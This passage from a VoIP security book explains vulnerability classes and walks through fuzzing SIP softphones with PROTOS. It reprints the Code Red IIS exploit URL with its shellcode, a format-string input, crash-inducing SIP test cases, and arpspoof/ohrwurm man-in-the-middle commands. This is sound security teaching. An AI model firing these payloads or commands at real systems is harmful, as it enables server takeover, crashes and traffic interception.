| ||
Let's first introduce several popular classes of vulnerabilities that fuzzing tools try to uncover. This is by no means an exhaustive list; we recommend looking at Mitre's PLOVER (Preliminary List Of Vulnerability Examples for Researchers) project for a more comprehensive set of vulnerability types (http://www.cve.mitre.org/docs/plover/plover.html).
Classic buffer overflows (or buffer overruns ) are still one of the most common types of vulnerabilities discovered today. Quite simply, a buffer overflow occurs when a program or process tries to store more data in a memory location than it has room for, resulting in adjacent memory locations being overwritten. The results can vary from the program or process crashing to an attacker being able to run arbitrary code within the context of the victim program.
Buffer overflows are usually the result of a developer not performing sufficient bounds checking on user -supplied input. Programming languages such as C do not have any built-in bounds checking routines, making them susceptible to these vulnerabilities. Let's look at a simple example of a buffer overflow vulnerability.
Microsoft Security Bulletin MS01-033 (http://www.microsoft.com/technet/security/bulletin/MS01-033.mspx) describes a fairly typical buffer vulnerability in IIS web server:
"As part of its installation process, IIS installs several ISAPI extensions. dlls that provide extended functionality. Among these is idq.dll, which is a component of Index Server (known in Windows 2000 as Indexing Service) and provides support for administrative scripts (.ida files) and Internet Data Queries (.idq files).
A security vulnerability results because idq.dll contains an unchecked buffer in a section of code that handles input URLs. An attacker who could establish a web session with a server on which idq.dll is installed could conduct a buffer overrun attack and execute code on the web server. Idq.dll runs in the System context, so exploiting the vulnerability would give the attacker complete control of the server and allow him to take any desired action on it."
Let's look at an actual exploit for this vulnerability:
http://www.victim.com/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u78 01%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u 0078%u0000%u00=a
This exploit, in fact, belonged to the infamous Code Red worm (http://www.cert.org/advisories/CA-2001-19.html) that ravaged the Internet in July of 2001. If a fuzzer were to have triggered this vulnerability in testing, a likely test case might have incrementally increased the length of the URL until crashing the IIS process:
http://www.victim.com/test.ida?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Format string vulnerabilities require some background understanding of the C programming language to understand fully. In C, format strings are used with certain functions to specify how data is to be displayed or input. These functions include fprintf , printf , sprintf , snprintf , vfprintf , vprintf , scanf , and syslog just to name just a few.
Let's look at the following printf statement as an example:
printf ("The title of this book is: %s\n", "Hacking Exposed VoIP");
which when compiled and executed would output:
The title of this book is Hacking Exposed VoIP.
The %s indicates that the supplied data at the end is to be treated as a string. Other types of format string arguments include:
/* fprintf examples */ #include <stdio.h> int main() { printf ("Characters: %c %c \n", 'a', 65); printf ("Decimals: %d %ld\n", 1977, 650000); printf ("Preceding with blanks: %10d \n", 1977); printf ("Preceding with zeros: %010d \n", 1977); printf ("Some different radixes: %d %x %o %#x %#o \n", 100, 100, 100, 100, 100); printf ("floats: %4.2f %+.0e %E \n", 3.1416, 3.1416, 3.1416); printf ("Width trick: %*d \n", 5, 10); printf ("%s \n", "A string"); return 0; }
which returns when compiled and executed:
Characters: a A Decimals: 1977 650000 Preceding with blanks: 1977 Preceding with zeros: 0000001977 Some different radixes: 100 64 144 0x64 0144 floats: 3.14 +3e+000 3.141600E+000 Width trick: 10 A string
A format string vulnerability can occur, for instance, when a developer wants to print a string derived from user-supplied input and mistakenly uses printf(emailaddress) instead of printf("%s", emailaddress) . In the first case, an attacker might insert special format string characters into the emailaddress field of a web input form in order to crash the service (for example, emailaddress="%s%s%s%s%s%s" ). Similar to buffer overflows, exploiting format string vulnerabilities can lead to a program or process crashing to an attacker being able to run arbitrary code within the context of the victim program.
For more detailed information on format string vulnerabilities, check out Tim Newsham's paper at http://www.lava.net/~newsham/format-string-attacks.pdf.
An integer overflow occurs when an integer is placed into a dynamically allocated memory location that is far too small to store it. This could occur when two integers are added together or when a user-supplied integer leads to the overflow. Depending on the particular compiler that was used for the program, integer overflows can lead to buffer overflow vulnerabilities being introduced into the software that can be easily exploited.
Many denial of service vulnerabilities are the result of malformed input being supplied to the target application. The impact of the malformed or unexpected input may trigger a logic error in the developer's code that can lead to memory leaks, high CPU consumption, and outright crashing on the program or process.
The few vulnerability types we have covered so far only scratch the surface. Some other types of vulnerabilities cannot be easily discovered through fuzzing techniques, but require more human interaction and advanced testing tools customized to the target application. These would include configuration errors, design flaws, race conditions, access validation flaws, and information leaks just to name a few.
Popularity: | 2 |
Simplicity: | 3 |
Impact: | 9 |
Risk Rating: | 4 |
The practical goal of fuzzing is to discover automatically as many potential bugs and vulnerabilities as possible in our target application. To comprehensively test every single possible input combination for a protocol implantation would take decades and would duplicate a lot of effort with similar test cases. Instead, the key to efficient fuzzing involves creating test cases that are representative instead of all-inclusive.
Let's actually walk through a real fuzzing exercise against the SIP CounterPath XLite SIP softphone (http://www.xten.com/index.php?menu=download). This softphone is also cobranded by other organizations such as Vonage and Yahoo.
Let's try a simple example using the free SIP fuzzing suite released by the PROTOS group at http://www.ee.oulu.fi/research/ouspg/protos/testing/c07/sip/c07-sip-r2.jar. The file is a java archive and can be executed like this:
C:\protos>java -jar c07-sip-r2.jar -help Usage java -jar <jarfile>.jar [ [OPTIONS] -touri <SIP-URI> ] -touri <addr> Recipient of the request Example: <addr> : you@there.com -fromuri <addr> Initiator of the request Default: user@dell -sendto <domain> Send packets to <domain> instead of domainname of -touri -callid <callid> Call id to start test-case call ids from Default: 0 -dport <port> Portnumber to send packets on host. Default: 5060 -lport <port> Local portnumber to send packets from Default: 5060 -delay <ms> Time to wait before sending new test-case Defaults to 100 ms (milliseconds) -replywait <ms> Maximum time to wait for host to reply Defaults to 100 ms (milliseconds) -file <file> Send file <file> instead of test-case(s) -help Display this help -jarfile <file> Get data from an alternate bugcat JAR-file <file> -showreply Show received packets -showsent Show sent packets -teardown Send CANCEL/ACK -single <index> Inject a single test-case <index> -start <index> Inject test-cases starting from <index> -stop <index> Stop test-case injection to <index> -maxpdusize <int> Maximum PDU size Default to 65507 bytes -validcase Send valid case (case #0) after each test-case and wait for a response. May be used to check if the target is still responding. Default: off
Let's fuzz our own XTEN softphone setup, which we illustrated in Chapter 2. The specific SIP URI of our softphone is sip:506@192.168.1.56. Before we begin, we need to know what UDP port the softphone is listening on. One way to do this is by sniffing the traffic between the softphone and the proxy server:
Ethernet II, Src: 192.168.1.120 (00:12:3f:b9:e4:24), Dst: 192.168.1.104 (00:09:7a:44:15:db) Internet Protocol, Src: 192.168.1.120 (192.168.1.120), Dst: 192.168.1.104 (192.168.1.103) User Datagram Protocol, Src Port: 39316 (39316), Dst Port: 5060 (5060) Session Initiation Protocol INVITE sip:202@192.168.1.103 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.120:39316;branch=z9hG4bK-d87543-cc5fbb7fe2495916- 1--d87543-;rport Max-Forwards: 70 Contact: <sip:505@192.168.1.120:39316> To: "202"<sip:202@192.168.1.103> From: "505"<sip:505@192.168.1.103>;tag=bc33135f Call-ID: a2631a56dc52121cYTNkMjRiNTU1YmMyZWUxODA2MDdlZjM0Mzc3ZDg5OTY. CSeq: 2 INVITE Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO Content-Type: application/sdp Proxy-Authorization: Digest username="505",realm="asterisk",nonce="447b829a" ,uri="sip:202@192.168.1.103",response="33432a5229d219a2057871c731b4ee39", algorithm=MD5 User-Agent: X-Lite release 1002tx stamp 29712 Content-Length: 384
As you can see, the softphone is communicating with the SER proxy server from UDP source port 39316. This port actually randomizes each time the phone is launched. Another way to determine the port the softphone is listening on is to use a tool called TCPView from Sysinternals (http://www.sysinternals.com/Utilities/TcpView.html). TCPView is a program that shows which TCP and UDP ports are bound to processes and programs on your computer. As shown in Figure 11-1, we can see UDP 39316 is bound to the program xlite-exe.
Now we're ready to begin the fuzzing! The PROTOS tool includes 4,527 test cases that fuzz only the INVITE SIP message and only to a limited extent. Remember we're fuzzing from address 192.168.1.120.
C:\protos>java -jar c07-sip-r2.jar -touri 505@192.168.1.103 -fromuri test@192.168.1.103 -teardown -sendto 192.168.1.120 -delay 1000 -dport 39316 -validcase -start 1 single-valued 'java.class.path', using it's value for jar file name reading data from jar file: c07-sip-r2.jar Sending valid-case test-case #0, 467 bytes Received Returncode: 180 Sending CANCEL test-case #0, 237 bytes Received Returncode: 200 Received Returncode: 487 Sending ACK test-case #0, 231 bytes Sending Test-Case #1 test-case #1, 466 bytes Received Returncode: 400 Sending CANCEL test-case #1, 242 bytes Sending ACK test-case #1, 236 bytes Sending valid-case test-case #1, 472 bytes Received Returncode: 180 Sending CANCEL test-case #1, 242 bytes Received Returncode: 200 Received Returncode: 487 Sending ACK test-case #1, 236 bytes Sending Test-Case #2 test-case #2, 475 bytes Received Returncode: 405 Sending CANCEL test-case #2, 242 bytes Received Returncode: 481 Sending ACK test-case #2, 236 bytes Received Returncode: 405 Sending valid-case test-case #2, 472 bytes Received Returncode: 180 Sending CANCEL test-case #2, 242 bytes Received Returncode: 200 Received Returncode: 487 Sending ACK test-case #2, 236 bytes
As you can see, the tool sends CANCEL messages after each INVITE test case so that we don't inadvertently send an invite flood against the phone and fill up all incoming lines. Because these tests typically take hours, or even days to complete, we use the -validcase option so we can come back later and see when the target stopped responding. As you can see from the help documentation, the -validcase option causes the tool to send a normal INVITE probe after each test case to make sure the target is still alive .
In our example, the PROTOS tool runs cleanly through all 4,527 test cases without crashing the softphone. Let's try fuzzing another softphone, the Pingtel SIP Softphone (http://www.pingtel.com/page.php?id=56) shown in Figure 11-2. We'll use the same
SIP URI and IP address as before. In this case, we determine that the phone listens on UDP port 5060, so we're ready to begin testing.
C:\protos>java -jar c07-sip-r2.jar -touri 505@192.168.1.103 -fromuri test@192.16 8.1.103 -teardown -sendto 192.168.1.120 -delay 1000 -dport 5060 -lport 12345 -validcase -start 1 single-valued 'java.class.path', using it's value for jar file name reading data from jar file: c07-sip-r2.jar Sending valid-case test-case #0, 468 bytes Received Returncode: 100 Received Returncode: 180 Sending CANCEL test-case #0, 238 bytes Received Returncode: 200 Received Returncode: 487 Received Returncode: 200 Sending ACK test-case #0, 232 bytes Sending Test-Case #1 test-case #1, 467 bytes Received Returncode: 501 Sending CANCEL test-case #1, 243 bytes Received Returncode: 481 Sending ACK test-case #1, 237 bytes Sending valid-case test-case #1, 473 bytes Received Returncode: 100 Received Returncode: 180 Sending CANCEL test-case #1, 243 bytes Received Returncode: 200 Received Returncode: 487 Received Returncode: 200 Sending ACK test-case #1, 237 bytes Sending Test-Case #2 test-case #2, 476 bytes Received Returncode: 501 Sending CANCEL test-case #2, 243 bytes Received Returncode: 481 Sending ACK test-case #2, 237 bytes Sending valid-case test-case #599, 476 bytes Received Returncode: 100 Received Returncode: 486 Sending CANCEL test-case #599, 246 bytes Received Returncode: 200 Sending ACK test-case #599, 240 bytes Sending Test-Case #600 test-case #600, 662 bytes Received Returncode: 100 Sending CANCEL test-case #600, 424 bytes Received Returncode: 200 Received Returncode: 180 Received Returncode: 487 Received Returncode: 200 Sending ACK test-case #600, 418 bytes Sending valid-case test-case #600, 476 bytes Received Returncode: 100 Received Returncode: 180 Sending CANCEL test-case #600, 246 bytes Received Returncode: 200 Received Returncode: 487 Received Returncode: 200 Sending ACK test-case #600, 240 bytes Sending Test-Case #601 test-case #601, 12764 bytes Received Returncode: 100 Sending CANCEL test-case #601, 12526 bytes Received Returncode: 180 Sending ACK test-case #601, 12520 bytes Sending valid-case test-case #601, 476 bytes test-case #601: No reply to valid INVITE packet within 100 ms. Retrying... test-case #601, 476 bytes test-case #601: No reply to valid INVITE packet within 200 ms. Retrying... test-case #601, 476 bytes test-case #601: No reply to valid INVITE packet within 400 ms. Retrying... test-case #601, 476 bytes test-case #601: No reply to valid INVITE packet within 800 ms. Retrying... test-case #601, 476 bytes test-case #601: No reply to valid INVITE packet within 1600 ms. Retrying... test-case #601, 476 bytes test-case #601: No reply to valid INVITE packet within 3200 ms. Retrying... test-case #601, 476 bytes
As you can see from the results, the Pingtel softphone stopped responding to normal requests after test case 601 was sent. Sure enough, we see that the error shown in Figure 11-3 pops up on the Windows desktop running the Pingtel softphone.
Looking at test case 601 in the PROTOS tool documentation, it looks like we might have uncovered a format string flaw in the processing of the Via field (the fuzzed field was minimized for viewing purposes):
12743 INVITE sip:<To> SIP/2.0 Via: SIP/2.0/UDP <From-Address>:<Local-Port> ;;%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d% .999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d% <snip> 999d=token From: 601 <sip:<From>\>;tag=601 To: Receiver <sip:<To>\> Call-ID: <Call-ID>@<From-Address> CSeq: <CSeq> INVITE Contact: 601 <sip:<From>\> Expires: 1200 Max-Forwards: 70 Content-Type: application/sdp Content-Length: <Content-Length> v=0 o=601 601 601 IN IP4 <From-Address> s=Session SDP c=IN IP4 <From-IP> t=0 0 m=audio 9876 RTP/AVP 0 a=rtpmap:0 PCMU/8000 12529 <Teardown-Method> sip:<To> SIP/2.0 Via: SIP/2.0/UDP <From-Address>:<Local-Port>;; %.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d% .999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.999d%.<snip>999d=token From: 601 <sip:<From>\>;tag=601 To: Receiver <sip:<To>\> Call-ID: <Call-ID>@<From-Address> CSeq: <CSeq> <Teardown-Method> Content-Length: 0
Restarting the Pingtel SIP phone and restarting the PROTOS tool caused more crashes with test cases 623, 851, 871, 872, 873, 1917, 1918, 1919, and 1920. These crashes were repeatable by sending just the single test case on a fresh installation. Other crashes were observed that were likely the combination of several test cases that we couldn't easily track down. These issues were reported to Pingtel's customer support with a valid trouble ticket; however, at the time of publication, these issues were still present.
These crashes now require further investigation to determine which ones could actually lead to remote code execution vulnerabilities. This type of exercise is outside the scope of this book; however, we recommend reading The Shellcoder's Handbook : Discovering and Exploiting Security Holes, by Jack Koziol et al. (Wiley, 2004).
Another free fuzzing tool is the SIP Forum Test Framework (SFTF), available at http://www.sipfoundry.org/sftf/. This command-line Linux tool is fairly limited compared to the PROTOS suite, including only about 67 test cases. However, it does include several inputs not covered by the free PROTOS test tool.
An open -source, inline RTP fuzzer called ohrwurm by Matthias Wenzel is also available at http://mazzoo.de/blog/2006/08/25. Because ohrwurm runs inline, a real-time conversation is necessary in order for it to work. This requires that you essentially use the attacking computer running ohrwurm as a gateway and run arpspoof or some other man-in-the-middle tool (discussed in Chapter 6) on each of the phones, so they think they're communicating with each other, while all traffic is actually being forwarded through your computer. The RTP traffic flowing through the host running ohrwurm will be modified in real-time and fuzzed before being sent to the receiving phone.
For example, if you wanted to fuzz the RTP communication between two phones in your network with the IP addresses 192.168.0.1 and 192.168.0.2, you would first run arpspoof twice (in two different xterm sessions) on your own computer:
arpspoof 192.168.0.1 arpspoof 192.168.0.2
Then on your box, you would start ohrwurm with the IP addresses of the two phones:
ohrwurm -a 192.168.0.1 -b 192.168.0.2